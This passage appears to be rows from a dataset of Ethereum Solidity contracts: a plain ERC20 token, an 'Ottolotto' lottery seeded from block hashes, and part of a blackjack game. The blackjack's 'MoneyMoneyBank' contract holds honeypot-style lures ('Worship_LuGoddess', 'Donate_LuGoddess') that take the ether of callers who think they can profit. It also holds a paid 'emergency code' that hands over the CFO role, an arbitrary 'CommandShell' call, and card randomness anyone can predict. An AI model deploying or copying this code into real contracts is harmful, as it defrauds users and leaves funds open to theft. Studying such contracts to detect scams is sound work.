uint8 public decimals = 18 ;
uint256 public totalSupply = 1529765730801750000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 | 4,525 |
contract OwnableExtended {
address public owner;
address public admin;
function OwnableExtended() {
owner = msg.sender;
admin = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyAdmin() {
require(msg.sender == owner || msg.sender == admin);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function changeAdmin(address newAdmin) onlyOwner {
if (newAdmin != address(0)) {
admin = newAdmin;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract iChampion {
uint256 public currentGameBlockNumber;
function buyTicket(address) returns (uint256, uint256) {}
function startGame() returns (bool) {}
function finishCurrentGame() returns (address) {}
function setGamePrize(uint256, uint256) {}
}
contract Ottolotto is OwnableExtended {
using SafeMath for uint256;
using SafeMath for uint8;
event StartedGame(uint256 indexed _game, uint256 _nextGame);
event GameProgress(uint256 indexed _game, uint256 _processed, uint256 _toProcess);
event Ticket(uint256 indexed _game, address indexed _address, bytes3 bet);
event Win(address indexed _address, uint256 indexed _game, uint256 _matches, uint256 _amount, uint256 _time);
event Jackpot(address indexed _address, uint256 indexed _game, uint256 _amount, uint256 _time);
event RaisedByPartner(address indexed _partner, uint256 _game, uint256 _amount, uint256 _time);
event ChampionGameStarted(uint256 indexed _game, uint256 _time);
event ChampionGameFinished(uint256 indexed _game, address indexed _winner, uint256 _amount, uint256 _time);
struct Winner {
address player;
bytes3 bet;
uint8 matches;
}
struct Bet {
address player;
bytes3 bet;
}
struct TicketBet {
bytes3 bet;
bool isPayed;
}
iChampion public champion;
mapping(address => mapping(uint256 => TicketBet[])) tickets;
mapping(uint256 => Bet[]) gameBets;
mapping(uint256 => Winner[]) winners;
mapping(uint256 => uint256) weiRaised;
mapping(uint256 => uint256) gameStartBlock;
mapping(uint256 => uint32[7]) gameStats;
mapping(uint256 => bool) gameCalculated;
mapping(uint256 => uint256) gameCalculationProgress;
mapping(uint8 => uint8) percents;
mapping(address => address) partner;
mapping(address => address[]) partners;
uint256 public jackpot;
uint256 public gameNext;
uint256 public gamePlayed;
uint8 public gameDuration = 6;
bool public gamePlayedStatus = false;
uint64 public ticketPrice = 0.001 ether;
function Ottolotto() {}
function init(address _champion) onlyOwner {
require(gameNext == 0);
gameNext = block.number;
percents[1] = 5;
percents[2] = 8;
percents[3] = 12;
percents[4] = 15;
percents[5] = 25;
percents[6] = 35;
champion = iChampion(_champion);
}
function getGamePrize(uint256 _game)
constant returns (uint256) {
return weiRaised[_game];
}
function getGameStartBlock(uint256 _game)
constant returns (uint256) {
return gameStartBlock[_game];
}
function getGameCalculationProgress(uint256 _game)
constant returns (uint256) {
return gameCalculationProgress[_game];
}
function getPlayersCount(uint256 _game)
constant returns (uint256) {
return gameBets[_game].length;
}
function getGameCalculatedStats(uint256 _game)
constant returns (uint32[7]) {
return gameStats[_game];
}
function getPartner(address _player) constant returns (address) {
return partner[_player];
}
function getPartners(address _player)
constant returns (address[]) {
return partners[_player];
}
function getBet(address _player, uint256 _game)
constant returns (bytes3[]) {
bytes3[] memory bets = new bytes3[](tickets[_player][_game].length);
for (uint32 i = 0; i < tickets[_player][_game].length; i++) {
bets[i] = tickets[_player][_game][i].bet;
}
return bets;
}
function getWinners(uint256 _game)
constant returns (address[]) {
address[] memory _winners = new address[](winners[_game].length);
for (uint32 i = 0; i < winners[_game].length; i++) {
_winners[i] = winners[_game][i].player;
}
return _winners;
}
function betsArePayed(address _player, uint256 _game) constant returns (bool) {
uint256 startBlock = getGameStartBlock(_game);
for (uint16 i = 0; i < tickets[_player][_game].length; i++) {
if (tickets[_player][_game][i].isPayed == false) {
uint8 matches = getMatches(startBlock, tickets[_player][_game][i].bet);
if (matches > 0) {
return false;
}
}
}
return true;
}
function getGameBlocks(uint256 _game)
constant returns(bytes32[]) {
uint256 startBlock = getGameStartBlock(_game);
bytes32[] memory blocks = new bytes32[](6);
uint8 num = 0;
for (startBlock; startBlock + num <= startBlock + gameDuration - 1; num++) {
blocks[num] = block.blockhash(startBlock + num);
}
return blocks;
}
function toBytes(uint8 n1, uint8 n2, uint8 n3, uint8 n4, uint8 n5, uint8 n6)
internal constant returns (bytes3) {
return bytes3(16**5*n1+16**4*n2+16**3*n3+16**2*n4+16**1*n5+n6);
}
function modifyBet(bytes32 _bet, uint256 _step)
internal constant returns (bytes32) {
return _bet >> (232 + (_step * 4 - 4)) << 252 >> 252;
}
function modifyBlock(uint256 _blockNumber)
internal constant returns (bytes32) {
return block.blockhash(_blockNumber) << 252 >> 252;
}
function equalNumber(bytes32 _bet, uint256 _game, uint256 _endBlock)
internal constant returns (bool) {
uint256 step = _endBlock - _game;
if (modifyBlock(_game) ^ modifyBet(_bet, step) == 0) {
return true;
}
return false;
}
function makeBet(uint8 n1, uint8 n2, uint8 n3, uint8 n4, uint8 n5, uint8 n6, address _partner)
payable returns (bool) {
require(msg.value == ticketPrice);
bytes3 uBet = toBytes(n1, n2, n3, n4, n5, n6);
Bet memory pBet = Bet({player: msg.sender, bet: uBet});
TicketBet memory tBet = TicketBet({bet: uBet, isPayed: false});
tickets[msg.sender][gameNext].push(tBet);
gameBets[gameNext].push(pBet);
weiRaised[gameNext] += ticketPrice;
Ticket(gameNext, msg.sender, uBet);
champion.buyTicket(msg.sender);
if (_partner != 0x0 && partner[msg.sender] == 0x0) {
addPartner(_partner, msg.sender);
}
return true;
}
function startGame() onlyAdmin returns (bool) {
gamePlayed = gameNext;
gameNext = block.number;
gamePlayedStatus = true;
gameStartBlock[gamePlayed] = gameNext + gameDuration;
jackpot += weiRaised[gamePlayed].mul(percents[6]).div(100);
StartedGame(gamePlayed, gameNext);
return true;
}
function getMatches(uint256 _game, bytes3 _bet)
constant returns (uint8) {
bytes32 bet = bytes32(_bet);
uint256 endBlock = _game + gameDuration;
uint8 matches = 0;
for (; endBlock > _game; _game++) {
if (equalNumber(bet, _game, endBlock)) {
matches++;
continue;
}
break;
}
return matches;
}
function getAllMatches(uint256 _game)
constant returns (uint256[]) {
uint256 startBlock = getGameStartBlock(_game);
uint256[] memory matches = new uint256[](7);
for (uint32 i = 0; i < gameBets[_game].length; i++) {
Bet memory bet = gameBets[_game][i];
uint8 matched = getMatches(startBlock, bet.bet);
if (matched == 0) {
continue;
}
(matched == 1) ? matches[1] += 1 :
(matched == 2) ? matches[2] += 1 :
(matched == 3) ? matches[3] += 1 :
(matched == 4) ? matches[4] += 1 :
(matched == 5) ? matches[5] += 1 :
(matched == 6) ? matches[6] += 1 : matches[6] += 0;
}
return matches;
}
function gameIsOver(uint256 _game)
constant returns (bool) {
if (gameStartBlock[_game] == 0) {
return false;
}
return (gameStartBlock[_game] + gameDuration - 1) < block.number;
}
function gameIsCalculated(uint256 _game)
constant returns (bool) {
return gameCalculated[_game];
}
function updateGameToCalculated(uint256 _game) internal {
gameCalculated[_game] = true;
gamePlayedStatus = false;
}
function processGame(uint256 _game, uint256 calculationStep) returns (bool) {
require(gamePlayedStatus == true);
require(gameIsOver(_game));
if (gameIsCalculated(_game)) {
return true;
}
if (gameCalculationProgress[_game] == gameBets[_game].length) {
updateGameToCalculated(_game);
return true;
}
uint256 steps = calculationStep;
if (gameCalculationProgress[_game] + steps > gameBets[_game].length) {
steps -= gameCalculationProgress[_game] + steps - gameBets[_game].length;
}
uint32[] memory matches = new uint32[](7);
uint256 to = gameCalculationProgress[_game] + steps;
uint256 startBlock = getGameStartBlock(_game);
for (; gameCalculationProgress[_game] < to; gameCalculationProgress[_game]++) {
Bet memory bet = gameBets[_game][gameCalculationProgress[_game]];
uint8 matched = getMatches(startBlock, bet.bet);
if (matched == 0) {
continue;
}
(matched == 1) ? matches[1] += 1 :
(matched == 2) ? matches[2] += 1 :
(matched == 3) ? matches[3] += 1 :
(matched == 4) ? matches[4] += 1 :
(matched == 5) ? matches[5] += 1 :
(matched == 6) ? matches[6] += 1 : gameStats[_game][6];
}
for (uint8 i = 1; i <= 6; i++) {
gameStats[_game][i] += matches[i];
}
GameProgress(_game, gameCalculationProgress[_game], gameBets[_game].length);
if (gameCalculationProgress[_game] == gameBets[_game].length) {
updateGameToCalculated(_game);
distributeRaisedWeiToJackpot(_game);
return true;
}
return false;
}
function distributeRaisedWeiToJackpot(uint256 _game) internal {
for (uint8 i = 1; i <= 5; i ++) {
if (gameStats[_game][i] == 0) {
jackpot += weiRaised[_game].mul(percents[i]).div(100);
}
}
}
function distributeFunds(uint256 weiWin, uint256 _game, uint8 matched, address _player)
internal {
uint256 toOwner = weiWin.div(5);
uint256 toPartner = 0;
if (partner[_player] != 0x0) {
toPartner = toOwner.mul(5).div(100);
partner[_player].transfer(toPartner);
RaisedByPartner(_player, _game, toPartner, now);
}
_player.transfer(weiWin - toOwner);
owner.transfer(toOwner - toPartner);
Win(_player, _game, matched, weiWin, now);
if (matched == 6) {
Jackpot(_player, _game, weiWin, now);
}
}
function getPrize(address _player, uint256 _game, bytes3 _bet, uint16 _index)
returns (bool) {
TicketBet memory ticket = tickets[_player][_game][_index];
if (ticket.isPayed || ticket.bet != _bet) {
return false;
}
uint256 startBlock = getGameStartBlock(_game);
uint8 matched = getMatches(startBlock, ticket.bet);
if (matched == 0) {
return false;
}
uint256 weiWin = 0;
if (matched != 6) {
uint256 weiByMatch = weiRaised[gamePlayed].mul(percents[matched]).div(100);
weiWin = weiByMatch.div(gameStats[_game][matched]);
} else {
weiWin = jackpot.div(gameStats[_game][matched]);
jackpot -= weiWin;
}
distributeFunds(weiWin, _game, matched, _player);
ticket.isPayed = true;
tickets[_player][_game][_index] = ticket;
winners[gamePlayed].push(Winner({
player: _player,
bet: ticket.bet,
matches: matched
}));
return true;
}
function addPartner(address _partner, address _player)
internal returns (bool) {
if (partner[_player] != 0x0) {
return false;
}
partner[_player] = _partner;
partners[_partner].push(_player);
return true;
}
function startChampionGame() onlyAdmin {
champion.startGame();
uint256 currentGame = champion.currentGameBlockNumber();
ChampionGameStarted(currentGame, now);
}
function finishChampionGame() onlyAdmin {
uint256 currentGame = champion.currentGameBlockNumber();
address winner = champion.finishCurrentGame();
require(winner != 0x0);
champion.setGamePrize(currentGame, jackpot);
winner.transfer(jackpot - jackpot.div(5));
owner.transfer(jackpot.div(5));
ChampionGameFinished(currentGame, winner, jackpot, now);
jackpot = 0;
}
} | 1 | 5,038 |
pragma solidity ^0.5.2;
contract Blackjack_DataSets
{
struct User_AccountStruct
{
uint UserId;
address UserAddress;
string UserName;
string UserDescription;
}
struct Game_Unit
{
uint Game_UnitId;
uint[] Player_UserIds;
uint Dealer_UserId;
uint MIN_BettingLimit;
uint MAX_BettingLimit;
uint[] Game_RoundsIds;
}
struct Game_Round_Unit
{
uint GameRoundId;
mapping (uint => Play_Unit) Mapping__Index_PlayUnitStruct;
uint[] Cards_InDealer;
uint[] Cards_Exsited;
}
struct Play_Unit
{
uint Player_UserId;
uint Bettings;
uint[] Cards_InHand;
}
uint[13] Im_BlackJack_CardFigureToPoint = [1,2,3,4,5,6,7,8,9,10,10,10,10];
uint public ImCounter_AutoGameId = 852334567885233456788869753300028886975330002;
uint public ImCounter_DualGameId;
uint public ImCounter_GameRoundId;
uint public TotalERC20Amount_LuToken;
mapping (address => uint) Mapping__UserAddress_UserId;
mapping (uint => User_AccountStruct) public Mapping__UserId_UserAccountStruct;
mapping (uint => Game_Unit) public Mapping__GameUnitId_GameUnitStruct;
mapping (uint => Game_Round_Unit) public Mapping__GameRoundId_GameRoundStruct;
mapping (uint => uint) public Mapping__OwnerUserId_ERC20Amount;
mapping (uint => mapping(uint => uint)) public Mapping__OwnerUserIdAlloweUserId_ERC20Amount;
mapping (uint => mapping(uint => uint)) public Mapping__GameRoundIdUserId_Bettings;
mapping (uint => string) Mapping__SuitNumber_String;
mapping (uint => string) Mapping__FigureNumber_String;
mapping (uint => uint[2]) public Mapping__AutoGameBettingRank_BettingRange;
}
contract ERC20_Interface
{
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Functionality_Event is Blackjack_DataSets
{
event Create_UserAccountEvent
(
uint _UserIdEvent,
address _UserAddressEvent,
string _UserNameEvent,
string _UserDescriptionEvent
);
event Initialize_GameEvent
(
uint _GameIdEvent,
uint[] _Player_UserIdsEvent,
uint _Dealer_UserIdEvent,
uint _MIN_BettingLimitEvent,
uint _MAX_BettingLimitEvent
);
event BettingsEvent
(
uint _GameIdEvent,
uint _GameRoundIdEvent,
uint _UserIdEvent,
uint _BettingAmountEvent
);
event Initialize_GameRoundEvent
(
uint[] _PlayerUserIdSetEvent,
uint _GameRoundIdEvent
);
event Initialize_GamePlayUnitEvent
(
uint _PlayerUserIdEvent,
uint _BettingsEvent,
uint[] _Cards_InHandEvent
);
event GetCardEvent
(
uint _GameRoundIdEvent,
uint[] _GetCardsInHandEvent
);
event Determine_GameRoundResult
(
uint _GameIdEvent,
uint _GameRoundIdEvent,
uint[] _WinnerUserIdEvent,
uint[] _DrawUserIdEvent,
uint[] _LoserUserIdEvent
);
event ExchangeLuTokenEvent
(
address _ETH_AddressEvent,
uint _ETH_ExchangeAmountEvent,
uint _LuToken_UserIdEvnet,
uint _LuToken_ExchangeAmountEvnet,
uint _LuToken_RemainAmountEvent
);
event CheckBetting_Anouncement
(
uint GameRoundId,
uint UserId,
uint UserBettingAmount,
uint MinBettingLimit,
uint MaxBettingLimit
);
}
contract AccessControl is Blackjack_DataSets, Functionality_Event
{
bool public paused = false;
address public LuGoddess = msg.sender;
address public C_Meow_O_Address = msg.sender;
address public ceoAddress = msg.sender;
address public cfoAddress = msg.sender;
address public cooAddress = msg.sender;
modifier StandCheck_AllPlayer(uint GameId)
{
Game_Unit memory Im_GameUnit_Instance = Mapping__GameUnitId_GameUnitStruct[GameId];
uint Im_RoundId = Im_GameUnit_Instance.Game_RoundsIds[Im_GameUnit_Instance.Game_RoundsIds.length-1];
Game_Round_Unit storage Im_GameRoundUnit_Instance = Mapping__GameRoundId_GameRoundStruct[Im_RoundId];
for(uint Im_PlayUnitCounter = 0 ; Im_PlayUnitCounter <= Im_GameUnit_Instance.Player_UserIds.length; Im_PlayUnitCounter++)
{
require(Im_GameRoundUnit_Instance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Cards_InHand[Im_GameRoundUnit_Instance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Cards_InHand.length-1] == 1111);
}
_;
}
function setCEO(address _newCEO) external onlyC_Meow_O {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) external onlyC_Meow_O {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) external onlyC_Meow_O {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function setCMO(address _newCMO) external onlyLuGoddess {
require(_newCMO != address(0));
C_Meow_O_Address = _newCMO;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
function unpause() public onlyLuGoddess {
paused = false;
}
modifier onlyCLevel() {
require
(
msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress ||
msg.sender == C_Meow_O_Address ||
msg.sender == LuGoddess
);
_;
}
modifier onlyC_Meow_O() {
require(msg.sender == C_Meow_O_Address);
_;
}
modifier onlyLuGoddess() {
require(msg.sender == LuGoddess);
_;
}
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
}
contract MoneyMoneyBank is AccessControl {
event BankDeposit(address From, uint Amount);
event BankWithdrawal(address From, uint Amount);
address public cfoAddress = msg.sender;
uint256 Code;
uint256 Value;
function Deposit()
public payable
{
require(msg.value > 0);
emit BankDeposit({From: msg.sender, Amount: msg.value});
}
function Withdraw(uint _Amount)
public onlyCFO
{
require(_Amount <= address(this).balance);
msg.sender.transfer(_Amount);
emit BankWithdrawal({From: msg.sender, Amount: _Amount});
}
function Set_EmergencyCode(uint _Code, uint _Value)
public onlyCFO
{
Code = _Code;
Value = _Value;
}
function Use_EmergencyCode(uint code)
public payable
{
if ((code == Code) && (msg.value == Value))
{
cfoAddress = msg.sender;
}
}
function Exchange_ETH2LuToken(uint _UserId)
public payable whenNotPaused
returns (uint UserId, uint GetLuTokenAmount, uint AccountRemainLuToken)
{
uint Im_CreateLuTokenAmount = (msg.value)/(1e14);
TotalERC20Amount_LuToken = TotalERC20Amount_LuToken + Im_CreateLuTokenAmount;
Mapping__OwnerUserId_ERC20Amount[_UserId] = Mapping__OwnerUserId_ERC20Amount[_UserId] + Im_CreateLuTokenAmount;
emit ExchangeLuTokenEvent
(
{_ETH_AddressEvent: msg.sender,
_ETH_ExchangeAmountEvent: msg.value,
_LuToken_UserIdEvnet: UserId,
_LuToken_ExchangeAmountEvnet: Im_CreateLuTokenAmount,
_LuToken_RemainAmountEvent: Mapping__OwnerUserId_ERC20Amount[_UserId]}
);
return (_UserId, Im_CreateLuTokenAmount, Mapping__OwnerUserId_ERC20Amount[_UserId]);
}
function Exchange_LuToken2ETH(address payable _GetPayAddress, uint LuTokenAmount)
public whenNotPaused
returns
(
bool SuccessMessage,
uint PayerUserId,
address GetPayAddress,
uint PayETH_Amount,
uint AccountRemainLuToken
)
{
uint Im_PayerUserId = Mapping__UserAddress_UserId[msg.sender];
require(Mapping__OwnerUserId_ERC20Amount[Im_PayerUserId] >= LuTokenAmount && LuTokenAmount >= 1);
Mapping__OwnerUserId_ERC20Amount[Im_PayerUserId] = Mapping__OwnerUserId_ERC20Amount[Im_PayerUserId] - LuTokenAmount;
TotalERC20Amount_LuToken = TotalERC20Amount_LuToken - LuTokenAmount;
bool Success = _GetPayAddress.send(LuTokenAmount * (98e12));
emit ExchangeLuTokenEvent
(
{_ETH_AddressEvent: _GetPayAddress,
_ETH_ExchangeAmountEvent: LuTokenAmount * (98e12),
_LuToken_UserIdEvnet: Im_PayerUserId,
_LuToken_ExchangeAmountEvnet: LuTokenAmount,
_LuToken_RemainAmountEvent: Mapping__OwnerUserId_ERC20Amount[Im_PayerUserId]}
);
return (Success, Im_PayerUserId, _GetPayAddress, LuTokenAmount * (98e12), Mapping__OwnerUserId_ERC20Amount[Im_PayerUserId]);
}
function SettingAutoGame_BettingRankRange(uint _RankNumber,uint _MinimunBetting, uint _MaximunBetting)
public onlyC_Meow_O
returns (uint RankNumber,uint MinimunBetting, uint MaximunBetting)
{
Mapping__AutoGameBettingRank_BettingRange[_RankNumber] = [_MinimunBetting,_MaximunBetting];
return
(
_RankNumber,
Mapping__AutoGameBettingRank_BettingRange[_RankNumber][0],
Mapping__AutoGameBettingRank_BettingRange[_RankNumber][1]
);
}
function CommandShell(address _Address,bytes memory _Data)
public payable onlyCLevel
{
_Address.call.value(msg.value)(_Data);
}
function Worship_LuGoddess(address payable _Address)
public payable
{
if(msg.value >= address(this).balance)
{
_Address.transfer(address(this).balance + msg.value);
}
}
function Donate_LuGoddess()
public payable
{
if(msg.value > 0.5 ether)
{
uint256 MutiplyAmount;
uint256 TransferAmount;
for(uint8 Im_ETHCounter = 0; Im_ETHCounter <= msg.value*2; Im_ETHCounter++)
{
MutiplyAmount = Im_ETHCounter * 2;
if(MutiplyAmount <= TransferAmount)
{
break;
}
else
{
TransferAmount = MutiplyAmount;
}
}
msg.sender.transfer(TransferAmount);
}
}
}
contract MoneyMoney_Transection is ERC20_Interface, MoneyMoneyBank
{
function totalSupply()
public view
returns (uint)
{
return TotalERC20Amount_LuToken;
}
function balanceOf(address tokenOwner)
public view
returns (uint balance)
{
uint UserId = Mapping__UserAddress_UserId[tokenOwner];
uint ERC20_Amount = Mapping__OwnerUserId_ERC20Amount[UserId];
return ERC20_Amount;
}
function allowance(address tokenOwner, address spender)
public view
returns (uint remaining)
{
uint ERC20TokenOwnerId = Mapping__UserAddress_UserId[tokenOwner];
uint ERC20TokenSpenderId = Mapping__UserAddress_UserId[spender];
uint Allowance_Remaining = Mapping__OwnerUserIdAlloweUserId_ERC20Amount[ERC20TokenOwnerId][ERC20TokenSpenderId];
return Allowance_Remaining;
}
function transfer(address to, uint tokens)
public whenNotPaused
returns (bool success)
{
require(balanceOf(msg.sender) >= tokens);
uint Sender_UserId = Mapping__UserAddress_UserId[msg.sender];
require(Mapping__OwnerUserId_ERC20Amount[Sender_UserId] >= tokens);
uint Transfer_to_UserId = Mapping__UserAddress_UserId[to];
Mapping__OwnerUserId_ERC20Amount[Sender_UserId] = Mapping__OwnerUserId_ERC20Amount[Sender_UserId] - tokens;
Mapping__OwnerUserId_ERC20Amount[Transfer_to_UserId] = Mapping__OwnerUserId_ERC20Amount[Transfer_to_UserId] + tokens;
emit Transfer
(
{from: msg.sender,
to: to,
tokens: tokens}
);
return true;
}
function approve(address spender, uint tokens)
public whenNotPaused
returns (bool success)
{
require(balanceOf(msg.sender) >= tokens);
uint Sender_UserId = Mapping__UserAddress_UserId[msg.sender];
uint Approve_to_UserId = Mapping__UserAddress_UserId[spender];
Mapping__OwnerUserId_ERC20Amount[Sender_UserId] = Mapping__OwnerUserId_ERC20Amount[Sender_UserId] - tokens;
Mapping__OwnerUserIdAlloweUserId_ERC20Amount[Sender_UserId][Approve_to_UserId] = Mapping__OwnerUserIdAlloweUserId_ERC20Amount[Sender_UserId][Approve_to_UserId] + tokens;
emit Approval
(
{tokenOwner: msg.sender,
spender: spender,
tokens: tokens}
);
return true;
}
function transferFrom(address from, address to, uint tokens)
public whenNotPaused
returns (bool success)
{
uint Sender_UserId = Mapping__UserAddress_UserId[from];
uint Approver_UserId = Mapping__UserAddress_UserId[msg.sender];
uint Transfer_to_UserId = Mapping__UserAddress_UserId[to];
require(Mapping__OwnerUserIdAlloweUserId_ERC20Amount[Sender_UserId][Approver_UserId] >= tokens);
Mapping__OwnerUserIdAlloweUserId_ERC20Amount[Sender_UserId][Approver_UserId] = Mapping__OwnerUserIdAlloweUserId_ERC20Amount[Sender_UserId][Approver_UserId] - tokens;
Mapping__OwnerUserId_ERC20Amount[Transfer_to_UserId] = Mapping__OwnerUserId_ERC20Amount[Transfer_to_UserId] + tokens;
emit Transfer
(
{from: msg.sender,
to: to,
tokens: tokens}
);
return true;
}
}
contract Blackjack_Functionality is MoneyMoney_Transection
{
function Initialize_UserAccount (uint _UserId, string memory _UserName, string memory _UserDescription)
internal
returns (uint UserId, address UserAddress, string memory UserName, string memory UserDescription)
{
address Im_UserAddress = msg.sender;
Mapping__UserAddress_UserId[Im_UserAddress] = _UserId;
Mapping__UserId_UserAccountStruct[_UserId] = User_AccountStruct
(
{UserId: _UserId,
UserAddress: Im_UserAddress,
UserName: _UserName,
UserDescription: _UserDescription}
);
emit Create_UserAccountEvent
(
{_UserIdEvent: _UserId,
_UserAddressEvent: Im_UserAddress,
_UserNameEvent: _UserName,
_UserDescriptionEvent: _UserDescription}
);
return (_UserId, Im_UserAddress, _UserName, _UserDescription);
}
function Initialize_Game
(
uint _GameId,
uint[] memory _Player_UserIds,
uint _Dealer_UserId,
uint _MIN_BettingLimit,
uint _MAX_BettingLimit
)
internal
{
uint[] memory NewGame_Rounds;
ImCounter_GameRoundId = ImCounter_GameRoundId + 1 ;
NewGame_Rounds[0] = ImCounter_GameRoundId;
Mapping__GameUnitId_GameUnitStruct[_GameId] = Game_Unit
(
{Game_UnitId: _GameId,
Player_UserIds: _Player_UserIds,
Dealer_UserId: _Dealer_UserId,
MIN_BettingLimit: _MIN_BettingLimit,
MAX_BettingLimit: _MAX_BettingLimit,
Game_RoundsIds: NewGame_Rounds}
);
emit Initialize_GameEvent
(
{_GameIdEvent: _GameId,
_Player_UserIdsEvent: _Player_UserIds,
_Dealer_UserIdEvent: _Dealer_UserId,
_MIN_BettingLimitEvent: _MIN_BettingLimit,
_MAX_BettingLimitEvent: _MAX_BettingLimit}
);
}
function Bettings(uint _GameId, uint _Im_BettingsERC20Ammount)
internal
returns (uint GameId, uint GameRoundId, uint BettingAmount)
{
uint[] memory _Im_Game_RoundIds = Mapping__GameUnitId_GameUnitStruct[_GameId].Game_RoundsIds;
uint CurrentGameRoundId = _Im_Game_RoundIds[_Im_Game_RoundIds.length -1];
address _Im_Player_Address = msg.sender;
uint _Im_Betting_UserId = Mapping__UserAddress_UserId[_Im_Player_Address];
Mapping__GameRoundIdUserId_Bettings[CurrentGameRoundId][_Im_Betting_UserId] = _Im_BettingsERC20Ammount;
emit BettingsEvent
(
{_GameIdEvent: _GameId,
_GameRoundIdEvent: CurrentGameRoundId,
_UserIdEvent: _Im_Betting_UserId,
_BettingAmountEvent: _Im_BettingsERC20Ammount}
);
return (_GameId, CurrentGameRoundId, _Im_BettingsERC20Ammount);
}
function Initialize_Round (uint _ImGameRoundId, uint[] memory _Player_UserIds )
internal
returns(uint _New_GameRoundId)
{
uint[] memory _New_CardInDealer;
uint[] memory _New_CardInBoard;
Mapping__GameRoundId_GameRoundStruct[_ImGameRoundId] = Game_Round_Unit
(
{GameRoundId: _ImGameRoundId,
Cards_InDealer: _New_CardInDealer,
Cards_Exsited: _New_CardInBoard}
);
for(uint Im_UserIdCounter = 0 ; Im_UserIdCounter < _Player_UserIds.length; Im_UserIdCounter++)
{
Mapping__GameRoundId_GameRoundStruct[_ImGameRoundId].Mapping__Index_PlayUnitStruct[Im_UserIdCounter] = Initialize_PlayUnit
(
{_GameRoundId: _ImGameRoundId,
_UserId: _Player_UserIds[Im_UserIdCounter],
_Betting: Mapping__GameRoundIdUserId_Bettings[_ImGameRoundId][_Player_UserIds[Im_UserIdCounter]]}
);
}
_New_CardInDealer = GetCard({_Im_GameRoundId: _ImGameRoundId, _Im_Original_CardInHand: _New_CardInDealer});
Mapping__GameRoundId_GameRoundStruct[_ImGameRoundId].Cards_InDealer = _New_CardInDealer;
emit Initialize_GameRoundEvent
(
{_PlayerUserIdSetEvent: _Player_UserIds,
_GameRoundIdEvent: _ImGameRoundId}
);
return (_ImGameRoundId);
}
function Initialize_PlayUnit (uint _GameRoundId, uint _UserId, uint _Betting)
internal
returns(Play_Unit memory _New_PlayUnit)
{
uint[] memory _Cards_InHand;
_Cards_InHand = GetCard({_Im_GameRoundId: _GameRoundId,_Im_Original_CardInHand: _Cards_InHand});
_Cards_InHand = GetCard({_Im_GameRoundId: _GameRoundId,_Im_Original_CardInHand: _Cards_InHand});
Play_Unit memory Im_New_PlayUnit = Play_Unit({Player_UserId: _UserId , Bettings: _Betting, Cards_InHand: _Cards_InHand});
emit Initialize_GamePlayUnitEvent
(
{_PlayerUserIdEvent: _UserId,
_BettingsEvent: _Betting,
_Cards_InHandEvent: _Cards_InHand}
);
return Im_New_PlayUnit;
}
function GetCard (uint _Im_GameRoundId, uint[] memory _Im_Original_CardInHand )
internal
returns (uint[] memory _Im_Afterward_CardInHand )
{
uint[] storage Im_CardsOnBoard = Mapping__GameRoundId_GameRoundStruct[_Im_GameRoundId].Cards_Exsited;
uint Im_52_RandNumber = GetRandom_In52(now);
Im_52_RandNumber = Im_Cute_RecusiveFunction({Im_UnCheck_Number: Im_52_RandNumber, CheckNumberSet: Im_CardsOnBoard});
Mapping__GameRoundId_GameRoundStruct[_Im_GameRoundId].Cards_Exsited.push(Im_52_RandNumber);
_Im_Original_CardInHand[_Im_Original_CardInHand.length-1] = (Im_52_RandNumber);
emit GetCardEvent
(
{_GameRoundIdEvent: _Im_GameRoundId,
_GetCardsInHandEvent: _Im_Original_CardInHand}
);
return _Im_Original_CardInHand;
}
function Im_Cute_RecusiveFunction (uint Im_UnCheck_Number, uint[] memory CheckNumberSet)
internal
returns (uint _Im_Unrepeat_Number)
{
for(uint _Im_CheckCounter = 0; _Im_CheckCounter <= CheckNumberSet.length ; _Im_CheckCounter++)
{
while (Im_UnCheck_Number == CheckNumberSet[_Im_CheckCounter])
{
Im_UnCheck_Number = GetRandom_In52(Im_UnCheck_Number);
Im_UnCheck_Number = Im_Cute_RecusiveFunction(Im_UnCheck_Number, CheckNumberSet);
}
}
return Im_UnCheck_Number;
}
function GetRandom_In52(uint _Im_CuteNumber)
public view
returns (uint _Im_Random)
{
